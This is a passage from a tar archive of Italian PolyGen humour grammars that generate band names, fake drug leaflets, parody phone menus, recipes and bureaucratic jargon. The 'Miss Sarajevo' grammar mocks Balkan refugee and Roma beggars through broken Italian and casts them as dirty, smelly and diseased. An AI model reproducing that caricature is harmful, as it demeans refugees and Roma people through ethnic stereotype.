  • "; Bands ::= "ABBA" |"AC/DC" |"The Band" |"The Beach Boys" |"The Beatles" |"The Bee Gees" |"Chuck Berry" |"David Bowie" |"Jackson Browne" |"Buzzcocks" |"The Byrds" |"The Clash" |"Eddie Cochran" |"Elvis Costello" |"Creedence Clearwater Revival" |"Crosby, Stills & Nash" |"Bo Diddley" |"The Doors" |"Bob Dylan" |"The Eagles" |"The Everly Brothers" |"Faces" |"Fleetwood Mac" |"The Flying Burrito Brothers" |"Genesis" |"The Grateful Dead" |"Jimi Hendrix" |"The Hollies" |"Buddy Holly" |"Husker Du" |"The Jam" |"Billy Joel" |"Elton John" |"The Kinks" |"Led Zeppelin" |"Jerry Lee Lewis" |"Little Richard" |"Lynyrd Skynyrd" |"Madonna" |"Metallica" |"Joni Mitchell" |"The Monkees" |"Van Morrison" |"Nirvana" |"Roy Orbison" |"Gram Parsons" |"Carl Perkins" |"Tom Petty" |"Pink Floyd" |"Elvis Presley" |"Prince" |"Queen" |"The Ramones" |"R.E.M." |"The Rolling Stones" |"Simon & Garfunkel" |"The Smiths" |"Phil Spector" |"Bruce Springsteen" |"Steely Dan" |"Rod Stewart" |"U2" |"The Velvet Underground" |"The Who" |"The Yardbirds" |"Neil Young" |"ABC" |"Aerosmith" |"The Allman Brothers Band" |"The Animals" |"Adam Ant" |"Anthrax" |"The B-52's" |"Burt Bacharach" |"Badfinger" |"Bauhaus" |"The Beau Brummels" |"The Beautiful South" |"Jeff Beck" |"Beck" |"Big Brother & the Holding Company" |"Big Star" |"Bjork" |"Black Flag" |"Black Sabbath" |"Blondie" |"Blood, Sweat & Tears" |"Blue Oyster Cult" |"Blur" |"Boston" |"The Box Tops" |"Billy Bragg" |"Bread" |"Brinsley Schwarz" |"Tim Buckley" |"Buffalo Springfield (Revisited)" |"Buffalo Springfield" |"Jimmy Buffett" |"Kate Bush" |"Butthole Surfers" |"John Cale" |"Camper Van Beethoven" |"Can" |"Captain Beefheart" |"The Carpenters" |"The Cars" |"Cheap Trick" |"Chicago" |"Eric Clapton" |"The Dave Clark Five" |"Petula Clark" |"Cocteau Twins" |"Leonard Cohen" |"Phil Collins" |"Ry Cooder" |"Alice Cooper" |"The Count Five" |"Cowboy Junkies" |"Cream" |"The Creation" |"Marshall Crenshaw" |"Jim Croce" |"Sheryl Crow" |"Crowded House" |"Culture Club" |"The Cure" |"Dick Dale" |"The Damned" |"Bobby Darin" |"The Spencer Davis Group" |"Dead Kennedys" |"Deep Purple" |"Def Leppard" |"John Denver" |"Depeche Mode" |"Derek and the Dominos" |"Jackie DeShannon" |"Devo" |"Dexys Midnight Runners" |"Neil Diamond" |"Ani DiFranco" |"Dinosaur Jr." |"Celine Dion" |"Dion" |"Dire Straits" |"Dr. Feelgood" |"Dr. John" |"Thomas Dolby" |"Donovan" |"The Doobie Brothers" |"Tool" |"Smashing Pumpkins" |"Isis" |"Neurosis" ; BandsTrash ::= "Forese" |"MOG" |"Elio e le storie tese" |"Locanda della mela" |"Vibrazioni" |"San Culamo" |"Britney Spears" |"Carlo Sarra" |"Califano" |"Jo Squillo" |"Loretta Goggi" |"Nino D'Angelo" |"Rita Pavone" |"Gianni Morandi" |"Bobby Solo" |"Little Tony" |"Lando Fiorini" |"Gigi D'Alessio" |"Marcella Bella" |"Prophilax" |"Soerba" |"Jalisse" |"Drupi" |"Pupo" |"Pooh" |"Mango" |"Peppino di Capri" ; Genere ::= "Industrial" |"Alternative Pop/Rock" |"Goth Rock" |"Lo-Fi" |"Grunge" |"Shoegaze" |"Britpop" |"Post-Rock/Experimental" |"Funk Metal" |"Indie Rock" |"Paisley Underground" |"Jangle Pop" |"Punk Revival" |"Post-Grunge" |"Third Wave Ska Revival" |"Neo-Psychedelia" |"Riot Grrrl" |"Space Rock" |"Adult Alternative Pop/Rock" |"Alternative Dance" |"Cocktail" |"Dream Pop" |"Punk-Pop" |"British Trad Rock" |"Industrial Dance" |"Madchester" |"Psychobilly" |"Ska-Punk" |"Cowpunk" |"New Zealand Rock" |"Chamber Pop" |"Twee Pop" |"Emo" |"Slowcore" |"Ambient Pop" |"C-86" |"Indie Pop" |"Noise Pop" |"Math Rock" |"Queercore" |"Sadcore" |"Shibuya-Kei" |"Skatepunk" |"Garage Punk" |"Alternative Folk" |"Neo-Glam" |"College Rock" |"Pop Underground" |"American Underground" |"Prog-Rock/Art Rock" |"Experimental" |"Kraut Rock" |"Noise-Rock" |"Neo-Prog" |"Experimental Rock" |"Canterbury Scene" |"Country-Rock" |"Singer/Songwriter" |"Folk-Rock" |"British Folk-Rock" |"Blues-Rock" |"Hard Rock" |"Southern Rock" |"Thrash" |"Death Metal/Black Metal" |"Glam Rock" |"Grindcore" |"Heavy Metal" |"Speed Metal" |"Hair Metal" |"Arena Rock" |"Alternative Metal" |"British Metal" |"Boogie Rock" |"Industrial Metal" |"Rap-Metal" |"Guitar Virtuoso" |"Progressive Metal" |"Neo-Classical Metal" |"Album Rock" |"Aussie Rock" |"Pop-Metal" |"Rap-Rock" |"New Wave of British Heavy Metal" |"Detroit Rock" |"Glitter" |"Punk Metal" |"Stoner Metal" |"Scandinavian Metal" |"Goth Metal" |"Doom Metal" |"Symphonic Black Metal" |"Sludge Metal" |"Power Metal" |"Pop" |"Pop/Rock" |"Girl Group" |"Bubblegum" |"Teen Idol" |"Brill Building Pop" |"Comedy Rock" |"Baroque Pop" |"Sunshine Pop" |"AM Pop" |"Celebrity" |"Synth Pop" |"Punk" |"Alternative Pop/Rock" |"Hardcore Punk" |"New Wave" |"Power Pop" |"Ska Revival" |"Mod Revival" |"Post-Punk" |"New Romantic" |"No Wave" |"Proto-Punk" |"Rockabilly Revival" |"Oi!" |"Garage Rock Revival" |"British Punk" |"New York Punk" |"L.A. Punk" |"American Punk" |"Straight-Edge" |"Anarchist Punk" |"Sophisti-Pop" |"College Rock" |"Rock & Roll" |"Tex-Mex" |"Instrumental Rock" |"Rockabilly" |"Roots Rock" |"Surf" |"Pub Rock" |"Hot Rod" |"Surf Revival" |"American Trad Rock" |"Jam Bands" |"Heartland Rock" |"Frat Rock" |"Hot Rod Revival" |"Retro-Rock" |"Latin Rock" |"Bar Band" |"Singer/Songwriter" |"Adult Contemporary" |"Soft Rock" |"Pop/Rock" |"Psychedelic" |"Garage Rock" |"Acid Rock" |"Psychedelic Pop" |"British Psychedelia" |"Obscuro" |"Euro-Pop" |"Euro-Rock" |"Swedish Pop/Rock" |"Rock en Espanol" |"French Pop" |"Foreign Language Rock" |"Italian Pop" |"Asian Pop" |"Japanese Pop" |"Japanese Rock" |"Hong Kong Pop" |"French Rock" |"British Invasion" |"Psychedelic" |"Merseybeat" |"British Blues" |"Mod" |"British Psychedelia" |"Freakbeat" |"Early British Pop" ; polygen-1.0.6.ds2/grm/ita/infocamere.grm0000644000175000017500000000132410340417034017357 0ustar enricoenricoI ::= "title: Veneto\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "created: 29/07/2004" ; S ::= [Pre] ({Luogo} {Sviluppo | Sost} | Sost Sviluppo) [Post] ; Pre ::= info | digi | tecno | tech | soft ; Post ::= ["."^] (com | net | ware | web | soft) ; Sviluppo ::= sviluppo | innovazione | opportunita' | ricerche | team ; Sost ::= sistemi | compilatori | parser | software | media | informatica | tecnologie | impianti ; Luogo ::= italia | veneto | umbria | basilicata | oriago | mestre | marghera | chirignago | mogliano | burano | venezia | vulci | ostia | mira | lucca | catanzaro | riace ;polygen-1.0.6.ds2/grm/ita/misssarajevo.grm0000644000175000017500000001224010340417034017754 0ustar enricoenricoI ::= "title: Miss Sarajevo\n" ^ "author: Serenase <serenase@excite.com>\n" ^ "language: italian\n" ^ "topic: misc\n" ^ "audience: per chi viaggia in metropolitana, ma anche in tram.\n" ^ "created: 10/04/2004" ; S ::= Saluto Provenienza Motivo Purtroppo Marito Figli Lei [Certificato] [Intrattenimento] Richiesta Ringraziamenti; Saluto ::= \[la] [mi] ((( es | ex ) ^cus ^( azi | a | i ) [^no]) di disturbar(^e|^i)| (perdon|ascolt) (^atim >(^i | ^e) | ^o ) di disturbar(^e|^i) | (b[^u]^on (^asera | ^giorn(^o|^ata) | ^a pasqua | ^a domenica | natale )))[^","] (( si[^g]^nior (^e | ^i) e si[^g]^nior ( ^e | ^i)) | [a|per] tuti) ^"..." ; Provenienza ::= [io] (vengo d | sono d) ^( a | i | el[^l]^a) \ (bosnia [--erzegovina]| [ex] ( "J" | "Y") ^ugosla(^w|^v)^ia | albania | mostar| kos[^s]^ovo | sarajevo | macedonia | montenegro) ^( "." | "," ) ; Motivo ::= (noi | [io e ] mia fami[^g]^lia | io e mi[^o] marito | _ ) [[tanta]paura [(per|di) guera] e ] ( scapati | fugiti | profug[^h]^i | andat ^( i | a ) via | venut ^( i | a ) ( qui | [in] italia )) ([per] (rifugi (^o|^arci)|scapare|nascondere|lavorare)) ^"." ; Purtroppo ::= \ (ma|pero'|[ma] purtropo [pero']) (no [ce'] [niente] |nula|niente| manca[^re]|no eserci|no trova >(^to|^re|^mo|_)|no si trova|no facile|no dar >(^e |^ci)) (lavoro|d(^a|^e) lavorar(^e|^i)) [perche' [noi] ([e]^ (s|cs|x)^tracumunitari[^o]|profug[^h]^i|no italiani|senza casa|[esere][molto]bruti| no lavati|puzzare|scapati|malati|[tropo|molto] poveri|[tropo|molto] sporchi)] ^"..."; Marito ::= \ [il] [mio] marito [--((m(^i|^e) pichia(_|^re) ^",")|rompe[^re] (denti|dita|unghie))][ha|e'] (malato|malatia|male) ^"," [lui][purtropo][ha|avere|es[^s]^ere] Malattia [e ([qualche volta|spesso|certi giorni|certe volte|i fine setimana|quando molto triste|quando mangia (agnelo|fagioli|semi di zuca|gelato|unghie)|quando beve (tropo[tavernelo|grapa|chinoto|brodo di polo])](pure|anche|avere|esere)) Malattia]^"," ; Figli ::= [noi|io] (avere|ho|abiamo|anche [con]) Numero (figli[picoli]|picoli|bambini|ragazini) (che|(^"," (loro|picini))) ((no|mai) (studiare|scuola|giocare|felici|soride|contenti|smete piange[^re]) [^"," no mangia[^re]] [(e|^","[poi loro])(sempre|molto|tanto|_) piange[^re]] ^"," avere [tanta] (fame|bisogno (mangiaria|[di]cibo)|sete [e fame]|fredo [e fame]) ^"," poi loro [esere|avere] [anche] [tanto|molt(^o|^isimo)|davero|grave|brut(^a|^isima)] malati[^a] ^"," Malattia [e([qualche volta](pure|anche|avere|esere)) Malattia]) ^"." ; Lei ::= \ [purtropo|[io]triste ma] (ne(^meno|^pure|^anche)) io (mi sento|sto[molto|tanto|tropo]) ben(^isimo|^e) (_|adeso|ogi|ormai) ^":" ho [un[^a|^o]] Malattia ^"." ; Certificato ::= \ (ecco[nostri]|guarda[^te][nostri]|[questi] | qui esere|qui sono[nostri] ) (certifica(^ti|^zio[^ni|^ne])|(document|certific)(^azio[^ni|^ne]|^i)|carte|fogli) [di] (medic(^o|^i)|ospedal(^i|^e)|do[^c]^tor(^i|^e)) (che ce|con) scrito [su|dentro|sopra] che malatie (vere|no false|no bugie|gravi|brute) [^":" (guardari|legete|"vedete?..")]^"." ; Intrattenimento ::= \ [io] (adeso|ora) [vi] (suono|fischi(^o|^etto)|dico|canto|facio sentire|balo) [una] [bel(^a|^isima)|famos(^a|^isima)] (musica|canzone|danza) (valacca|slava|rom|romena|di bosnia|albanese|kossovara|deli nostre montagne|[di] transilvan[^i]^a) (per farvi auguri che state bene|per vostra benedizione(su madona)|che madona [santisima] vi (salv(^a|^i|^era')|proteg(^a|^e|^era'))) ^("."|",") ; Richiesta ::= \ [vi] (grazi [grazi tuti]| rigrazi[tuti[quanti]]|tantigrazi[tuti[quanti]]|grazi mile[tuti[quanti]]) (che|se|quando) mi (date|regalate|ofrite) Numero eur(^o|^i) [per mangiare i bambini|per panini e medicine|per (piaceri|favori)] ^"..." ; Ringraziamenti ::= \ (grazi [^"," grazi tuti]|io virigrazi[tuti[quanti]]|voi [esere][molto|davero]gentili|tantigrazi[tuti[quanti]]|grazi mile[tuti[quanti]]) (di|dela) ([vostra] gentileza|[vostra] regalo|[vostra] oferta|[vostri] (monete|soldi)) i ([ancora][di nuovo][tantisimi]) (b[^u]^on (^asera | ^giorno | ^a pasqua | ^a domenica | natale | capodano|^e feste|^a giornata)) ^"." ; Numero ::= due|tre|quatro|cinque|sei|sette|oto|nove ; Malattia ::= (tisi|seropositivo|tendinite|pubalgia|asma|aids|vaiolo|enfisema|peste bubonica|polmonite atipica|aerofagia|sempre rutare|sordo|alito(^si|cativo)|foruncoli[su chiape|su facia|su cosce]|alopecia[areata]|ascessi|celulite|colera|cirosi epatica|diabete|eczema|epatite|gengivite|orechioni|insonia|malaria|tifo|pidochi|piorea|sempre prurito|rachitico|stitico|vermi|tanto sangue[(da|quando sofio) naso|da culo|da boca|in catarro|e pus]|meteorismo|infarto|ebola|vaginite|muca paza|leptospirosi|strabico|cieco|acne|otite|sifilide|ernia[a pancia|a disco]|catarata|diarea|emoroidi|paralizato|(pochi|Numero) mesi vita|senza [una] gamba [e un bracio]|manca un bracio [e le gambe]|tropi brufoli|febre alta [e] tose [e mal di gola]|cancro[ai polmoni|a cuore|a testicolo|a utero|a ovaie|a tallone|a pancia|a stomaco|a gola|a schiena|a palato|a boca|a labra|a naso|a ginochio|dentro orechio]|roto (gamba|bracio|schiena|facia|mano|gomito|capeli|ombelico|narici|[tute sue] unghie|piedi|denti|osso di culo| spala|dita)|[sempre] vomito[con sangue]|scarlatina|morbilo|cimurro|ulcere dapertuto|scabbia|verme solitario| orchite|prepuzio gonfio) ; polygen-1.0.6.ds2/grm/ita/telefonia.grm0000644000175000017500000000305110340417034017214 0ustar enricoenricoI ::= "title: TELEFONIA\n" ^ "author: Melena &lt;eletosi@freemail.it&gt;\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "created: 12/07/2004" ; S ::= ^"Benvenuto al customer care " \ Uno ^". " \ Due ^ " digita" Tre ^". " \ Due ^ " digita" Tre ^". " \ Due ^ " digita" Tre ^". " \ Quattro ; Uno ::= "PippaCom" | "MinchiaTel" | "TeleBue" | "RuboTel" ; Due ::= per avere informazioni sul profilo tariffario di tuo cuggino | per scoprire se tua moglie ti fa le corna | per essere sempre informato sulla tua soap opera preferita | per parlare con un cartomante di marte | per controllare se l'acqua bolle | per la teleconferenza con un alieno | per essere sempre informato sulle operazioni chirurgiche di "Michael Jakson" | per insultare un operatore | la informiamo che il suo telefono sta per autodistruggersi per confermare | per scaricare la suoneria di "Giggi D'Aostino" "Giggi D'Alessio" o "Giggi Sabbani" | sapere dove e' "Bin Laden" e se il suo telefono e' raggiungibile | questo servizio e' totalmente gratuito eccetto lo scatto alla risposta di 300 euro "." per riagganciare | per la soluzione del quesito della susi | per addebitare le sue telefonate sul cellulare di berlusconi | per tirare lo sciacquone | siamo spiacenti il suo credito e' terminato e il suo telefono e' un cesso "!" per l'autoesplosione ; Tre ::= 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 0 ; Quattro ::= grazie | buona sera | buona notte | buona giornata ;polygen-1.0.6.ds2/grm/ita/farmaci.grm0000644000175000017500000000400410340417034016647 0ustar enricoenricoI ::= "title: Farmaci\n" ^ "author: WallyG\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim: Attenzione, provoca dipendenza\n" ^ "created: 25/11/2004" ; S ::= Prod ; Prod ::= InizioFarmaco^FineFarmaco "\nCategoria Farmaceutica :\n "Categoria "\nControindicazioni :\n"Controindicazioni"\n"Suggerimenti ; InizioFarmaco ::= "Progester" | "Calculo" | "Rino" | "Retto" | "Ano" | "Sveglia" | "Prano" | "Cortis" | "Nimesul" | "Fica" | "Vagi" ; FineFarmaco ::= (("floresil" | "terminal" | "ril" | "lit analgesteroide" | "stop" | "finish Trauma" | "perone" | "dolosime Omeopatico" | "plasil effetto rapido" | "cancellin a basso dosaggio" | "irritant" ) ["unzione estrema" | "omeopatico" | "trattamento subacqueo"] ) ; Categoria ::= ^Cat^Func Utenza ; Cat ::= "ano" | "anal" | "cortico" | "fauci" | "vaso" | "vomito" | "gomito" | "clitoride" | "cardio" ; Func ::= "repellente" | "stimolante" | "conservante" | "eccitante" | "dopante" ; Utenza ::= "per animali" | "per famiglie" | "per maschiacci" | "da viaggio" | "da asporto" | "per femminucce" | "da conigli" | "per cavalli" ; Controindicazioni ::= ("Attenzione :" | "Attenti :" | "Pericolo :") ("puo' portare a " | "sono stati segnalati casi di" | "ci sono stati segnalati casi di pazienti con reazioni sintomatiche di") ("vomito incessante" | "piorrea degenerativa" | "secchezza delle fauci" | "secchezza delle feci" | "secchezza della fica") con ("successivo riscaldamento del retto" | "postumi da sbronza" | "cataratta anale cronica" | "improvviso abbassamento del pene") ; Suggerimenti ::= "Usare con cautela" | "Areare il locale prima di soggiornarvi" | "E' un presidio medico-chirurgico, non ingoiare la scatola" | "Non usare al di sotto dei 6 anni o comunque di un Q.I. inferiore a 100" | "Usare spesso e volentieri" | "Non usare mai" | "Provoca dipendenza" | "Provoca sonnolenza" | "Non funziona" ; polygen-1.0.6.ds2/grm/ita/enrica.grm0000644000175000017500000000343510340417034016515 0ustar enricoenricoI ::= "title: Enrica la Monotematica\n" ^ "author: Manta, Zeff\n" ^ "language: italian\n" ^ "status: final\n" ^ "topic: misc\n" ^ "note: Enrica e' la ragazza di Zeff\n" ^ "disclaim: non c'e'," [per l'^] appunto^"\n" ^ "disclaim II: e' stato " { implementato } { [attualmente] } "il "(9|7)^Numero percento dei suoi discorsi [medi | tipici] ^"\n" ^ "audience: Enrica, Zeff e compagni\n" ^ "created: 09/02/2003" ; Numero ::= 0|1|2|3|4|5|6|7|8|9; S ::= \ Disclaim | Tormentone; Disclaim ::= (["Manta,"] (int: ma | aff: [guarda che]) ( non >(hai [ancora] messo [online] | c'e' [ancora]) | manca [ancora | sempre] | aff: sto [sempre | ancora] aspettando [che metti [online]] ) (il | un | (l | un) ^a pagina co^ (n il | l)) disclaimer [[sul sito] [del "Polygen"]] ^ (aff: "!" | int: "?") ).(int|++aff) ; Tormentone ::= \ (["Manta, " | scusate [^mi] [tutti] ^","] ["allora" ] ("quand" (^o|^"'e' che") Azione.(infinito|presente) | AzioneFoto.presente | AzioneGioco.presente ) ^"?" )| "Sto" [sempre | ancora] aspettando [che (facc | prepar) ^iate] Squadre ^"!" ; Azione ::= (infinito: (ci decidiamo a | vi decidete a)| presente: " ") (AzioneFoto | AzioneGioco); AzioneFoto ::= (scatt (infinito: ^are | presente: ^iamo)| (infinito: fare|presente: facciamo)) una foto [a (tutti|"Zeff"|"Manta"|"Vision-X"|"Marty"|"Sir"|"Gioppino"|"Mattia"|^"d Andrea")]; AzioneGioco ::= ((prepar | organizz) (infinito: ^are | presente: ^iamo)| (infinito: fare|presente: facciamo)) Squadre; Squadre ::= ( "le squadre" | "i gruppi" | "i team" ) per giocare a ( ("Pict"|"Vis") ^"ionary" | "Tabu'" | "scacchi" ); polygen-1.0.6.ds2/grm/ita/bruce.grm0000644000175000017500000000354010340417034016351 0ustar enricoenricoI ::= "title: Springsteen cover band\n" ^ "author: ilgioa <ilgioa@yahoo.it>\n" ^ "language: italian\n" ^ "status: basic\n" ^ "topic: music\n" ^ "audience: " Nome "," Nome "," Nome "e tutti gli altri...\n" ^ "created: 15/08/2005" ; S ::= Lett "Street Band" | Nome "& the" Lett "Street Band" | Nome "& the" Lett "Street" Ng | Nome "& the" Gruppo | -----"The" Song | -----"Born to" Verbo | ----"The" Dec^Num "Avenue Freeze-Outs"; Lett ::= "A" | "B" | "C" | "D" | "F" | "G" | "H" | "I" | "J" | "K" | "L" | "M" | "N" | "O" | "P" | "Q" | "R" | "S" | "T" | "U" | "V" | "W" | "X" | "Y" | "Z" | "57th" | "82nd" | ----"Bruce"; Nome ::= Agg Name; Agg ::= "Wild" | "Crazy" | "Cautious" | "Promised" | "NJ" | "Balboa" | "Little" | "Mighty" | "Cadillac" | "Spanish" | "Barefoot" | "Innocent" | "Galveston" | "Highway" | "10th Avenue" | "Lucky" | "Broadway" | "NYC" | "Red headed" | "Sinaloa" | "Hazy" | "Killer" | "NY" | "Catfish" | "Puertorican" | "Sonic" | "Doctor" | "Professor" | "Phantom" | "Asbury" | "Red Bank" | "Rumson"; Name ::= "Cat" | "Billy" | "Boss" | "Johnny" | --"Johnny 99" | "Rosie" | "Sandy" | "Adam" | "Bishop" | "Max" | "Candy" | "Cynthia" | "Frankie" | "Kitty" | "Mary" | "Davie" | "Joe" | --"Joe Roberts" | --"Zero" | "Terry" | "Jenny" | "Zoom" | "Adele"; Gruppo ::= Agg Ng; Ng ::= "Boom" | "Band" | "Brothers" | "Mill" | "Child" | "Shuffle" | "Seven" | "Rockers" | "Saints" | "Dukes"; Song ::= "Factory" | "Backstreets" | "Dollhouse" | "Jungleland" | "Roulette" | "Spare parts"; Verbo ::= "Run" | "Fade away" | "Ride" | "Dream"; Dec ::= "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9"; Num ::= "1st" | "2nd" | "3rd" | "4th" | "5th" | "6th" | "7th" | "8th" | "9th" | "0th"; polygen-1.0.6.ds2/grm/ita/piani.grm0000644000175000017500000000647310340417034016361 0ustar enricoenricoI ::= "title: Piani Sanitari\n" ^ "author: Guido Gambardella <g.gambardella@tdd.it>\n" ^ "language: italian\n" ^ "status: final \n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "created: 07/02/2003" ; S ::= \ A1 A2 A3 A4 A5 A6 A7 ^"." ; A1 ::= l'utenza potenziale | il bisogno emergente | il quadro normativo | la valenza epidemiologica | il nuovo soggetto sociale | l'approccio programmatorio | l'assetto "politico-istituzonale" | il criterio metodologico | il modello di sviluppo | il metodo partecipativo ; A2 ::= si caratterizza per | privilegia | prefigura | riconduce a sintesi | persegue | estrinseca | si propone | presuppone | porta avanti | auspica ; A3 ::= il ribaltamento della logica assistenziale preesistente | il superamento di ogni ostacolo "e/o" resistenza passiva | un organico collegamento interdisciplinare ed una valutazione | la puntuale corrispondenza fra obiettivi e risorse | la verifica critica degli obiettivi istituzionali e l'individuazione di fini qualificanti | il riorientamento delle linee di tendenza in atto | l'accorpamento delle funzioni ed il decentramento decisionale | la ricognizione del bisogno emergente e della domanda non soddisfatta | la riconversione e articolazione periferica del servizio | un corretto rapporto fra strutture e sovrastrutture ; A4 ::= nel primario interesse della popolazione | senza pregiudicare l'attuale livello delle prestazioni | al di sopra di interessi e pressioni di parte | secondo un modulo di interdipendenza orizzontale | in una visione organica ricondotta a unita' | con criteri non dirigistici | al di la' delle contraddizioni e difficolta' iniziali | in maniera articolata e non totalizzante | attraverso i meccanismi della partecipazione | senza precostituzione delle risposte ; A5 ::= sostanziando e vitalizzando | recuperando ovvero rivalutando | ipotizzando e perseguendo | non assumendo mai come implicito | attualizzando e concretizzando | non sottacendo ma anzi puntualizzando | potenziando e incrementando | non dando certo per scontato | evidenziando ed esplicitando | attivando e incrementando ; A6 ::= nei tempi brevi^"," anzi brevissimi | in un'ottica preventiva e non piu' curativa | in un ambito territoriale omogeneo^"," ai diversi livelli | nel rispetto della normativa esistente | nel contesto di un sistema integrato | quale sua premessa indispensabile e condizionante | nella misura in cui cio' sia fattibile | con le dovute ed imprescindibili sottolineature | in termini di efficacia e di efficienza | a monte e a valle delle situazione contingente ; A7 ::= la trasparenza di ogni atto decisionale | la non sanitarizzazione delle risposte | un indispensabile salto di qualita' | una congrua flessibilita' delle strutture | l'annullamento di ogni ghettizzazione | il coinvolgimento attivo di operatori e utenti | l'appianamento delle discrepanze e discrasie esistenti | la ridefinizione di una nuova figura professionale | l'adozione di una metodologia differenziata | la demedicalizzazione del linguaggio ; polygen-1.0.6.ds2/grm/ita/ricette.grm0000644000175000017500000002101210340417034016702 0ustar enricoenricoI ::= "title: Ricette\n" ^ "author: Serenase <serenase@excite.com>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: tutti i gourmet\n" ^ "created: 06/04/2004" ; S ::= Portata Descrizione ^".\n\n"^ >( "E'" | "Si tratta" | "Vi presentiamo" [ oggi ] | "Ecco" ) PremessaA ^"," PremessaB ^"." Tempo ^"." Diff Persone ^":" Fas1^";" Fas2^"." Fas3^"." Fas4^":" Fas5^"." Fas6^"." Fas7^"." Servire Vino ; Portata ::= "Maccheroni " | "Spaghetti" | "Tortino" | "Caponata" | "Timballo" | "Risotto" | "Stufato" | "Sformato" | "Filetto" | "Pasticcio" | "Fricassea" | "Minestra" | "Gnocchi" | "Trionfo" | "Meringa" | "Budino" | "Orecchiette" | "Crostata" | "Frittura" | "Bomboloni" | "Ratatuille" | "Crema" | "Mousse" | "Passato" | "Zuppa" | "Tortellini" | "Sorbetto" | "Semifreddo" | "Spumone" | "Stracotto" | "Delizia" | "Polpette" | "Frittelle" | "Ciambelle" | "Pure" >( ^' | ^a ) | "Bollito" ; Descrizione ::= primavera | fantasia | al guazzetto | mille >( ^foglie | ^gusti | ^aromi ) | misto >( ^fritto | ^mare | ^aromi ) | del >( ^lo chef | carrettiere | ^la nonna ) | ai >( profumi di >( provenza | mare | sottobosco ) | quattro formaggi ) | alla >( milanese | vene >( ^ta | ^ziana ) | pari >( ^gina | ^sienne ) | boscaiola | pescatora | carrettiera | marinara | diavola | "Bourguignonne" ) | stracotto | pilaf | paglia e fieno | in >( guazzetto | carrozza | salsa ) | al brodetto ; PremessaA ::= una >( ricetta antichissima | portata fresca | pietanza tradizionale | soluzione piacevole | ricetta regionale | "nota realizzazione della Novelle Cuisine" | delizia d'oriente ) ; PremessaB ::= adatta ad ogni occasione | perfetta per un pranzo estivo | veloce e gustosa | sfiziosa e originale | semplice ma saporita | "che anche l'Artusi apprezzava e consigliava" | "di cui anche Marco Polo raccontava nel suo Milione" | "che Gualtiero Marchesi glorifica come miglior compagna per i grandi vini" ; Tempo ::= "Tempo di preparazione:" Ore Minuti Extra ; Ore ::= _ | un'ora e | due ore e | tre ore e | cinque ore e | sette ore e ; Minuti ::= ( dieci | venti | trenta | quaranta | cinquanta) minuti ; Extra ::= [piu' >( un'ora | due ore | quattro ore | otto ore | una notte | una settimana | due mesi ) per (la marinatura | la lievitazione | il riposo in frigorifero | la fermentazione | la frollatura ) ] ; Diff ::= [ "E'" un piatto ( facilissimo | facile | difficile | difficilissimo ) ^"."] ; Persone ::= "Ricetta" per ( due | tre | quattro | sei | otto | dodici | venti | ventidue | venticinque ) ( persone | --commensali ) ; Fas1 ::= ("Fate" | "Lasciate" | "Iniziate a far" ) ( [sob^]bollire | [s^]colare | [sof^]friggere | appassire | saltare | lessare | andare in pentola a pressione ) (due | tre | quattro | cinque | sei | sette | otto | nove ) ( _ | etti di | grammi di | chili di | tazze di | cucchiai[^ni] di | manciate di ) Ingrediente ; Fas2 ::= (pestate | miscelate | tritate | [s^]battete | sminuzzate | affettate | frullate ) (due | tre | quattro | cinque | sei | sette | otto | nove ) ( _ | etti di | grammi di | chili di | tazze di | cucchiai[^ni] di | manciate di ) Ingrediente ; Fas3 ::= ( "Abbellite con" | "Insaporite con" | "Addolcite con" | "Correggete con" | "Aggiungete al composto" [ottenuto] ) (due | tre | quattro | cinque | sei | sette | otto | nove ) ( _ | etti di | grammi di | chili di | tazze di | cucchiai[^ni] di | manciate di ) Ingrediente ; Fas4 ::= ("Nel frattempo" | "Precedentemente" | "In precedenza" | "Nell'attesa" | "Contemporaneamente" | "Intanto" ) avrete [gia'] >( sbucciato | soffritto | messo a bagno per trentasei ore | marinato nel vino | fatto rosolare | sbattuto | rosolato | marinato | fatto appassire | fatto imbiondire ) (due | tre | quattro | cinque | sei | sette | otto | nove ) ( _ | etti di | grammi di | chili di | tazze di | cucchiai[^ni] di | manciate di ) Ingrediente ; Fas5 ::= ( cio' | quanto ottenuto | questo ) e' da ( aggiungere | addizionare | miscelare | unire ) >( al composto | alla pietanza | alla polpetta ottenuta | al sugo rimasto nel >( tegame | ^la padella ) | al vostro preparato | al resto | alla salsa di cottura ) ; Fas6 ::= "Fate mantecare" | "Infornate" | "Ribollite" | "Saltate" >(nel burro | nel lardo | nello strutto | nella margarina ) | "Scaldate per dieci minuti" [a fuoco vivo] | "Fate riposare in frigorifero per" >( sei ore | due ore | dieci ore | otto secondi | il tempo necessario | un minuto | ( un'^ | mezz'^ ) ora ) ; Fas7 ::= ("Guarnite con" | "Correggete con" | "Abbellite con" | "Colorate con" ) Ingrediente e ( regolate di sale [e pepe] | aggiungete del( ^lo zucchero | bicarbonato ) | passate nel passaverdure | filtrate con un setaccio ) ; Servire ::= "Servite" [in tavola] >( freddo | caldo | caldissimo | ghiacciato | rovente ) ( in un sottopiatto | in una terrina di coccio | in coppette termiche | in un plateau | in un piatto da pesce | nella pentola di cottura | indossando un vestito tipico delle zone di produzione | con un largo sorriso) ^"."; Vino ::= ( "Si" | --"Il nostro sommelier" ) >( consiglia | suggerisce | caldeggia | raccomanda ) di >( innaffiare | [de^]gustare | accompagnare ) con un >( vino | --nettare ) ( bianco | ro >(^se' | ^sato | ^sso | ^busto ) | corposo | importante | mosso | fermo | barricato | leggero | maturo ) ^"," ( ( come ad | per ) esempio | ottimo | tra cui [ vi ] suggeriamo ) ( un ( ^a bonarda |^o spumante | aglianico | malvasia | recioto | barbaresco | brunello | amarone | pinot nero vinificato bianco | cannonau | frascati | beaujolais | primitivo ) ) ( dell'oltrepo' pavese | di sardegna | dei colli piacentini | delle terre di barolo | di montepulciano | di montalcino | di franciacorta | delle langhe | del tavoliere delle puglie | dei colli albani | della valtellina | di manduria | di salaparuta ) ^"," [ assolutamente | rigorosamente | come (cert >( ^o | ^amente ) | [ gia' ] ) sapete | certamente | naturalmente | ovviamente | come sempre | preferibilmente | magari 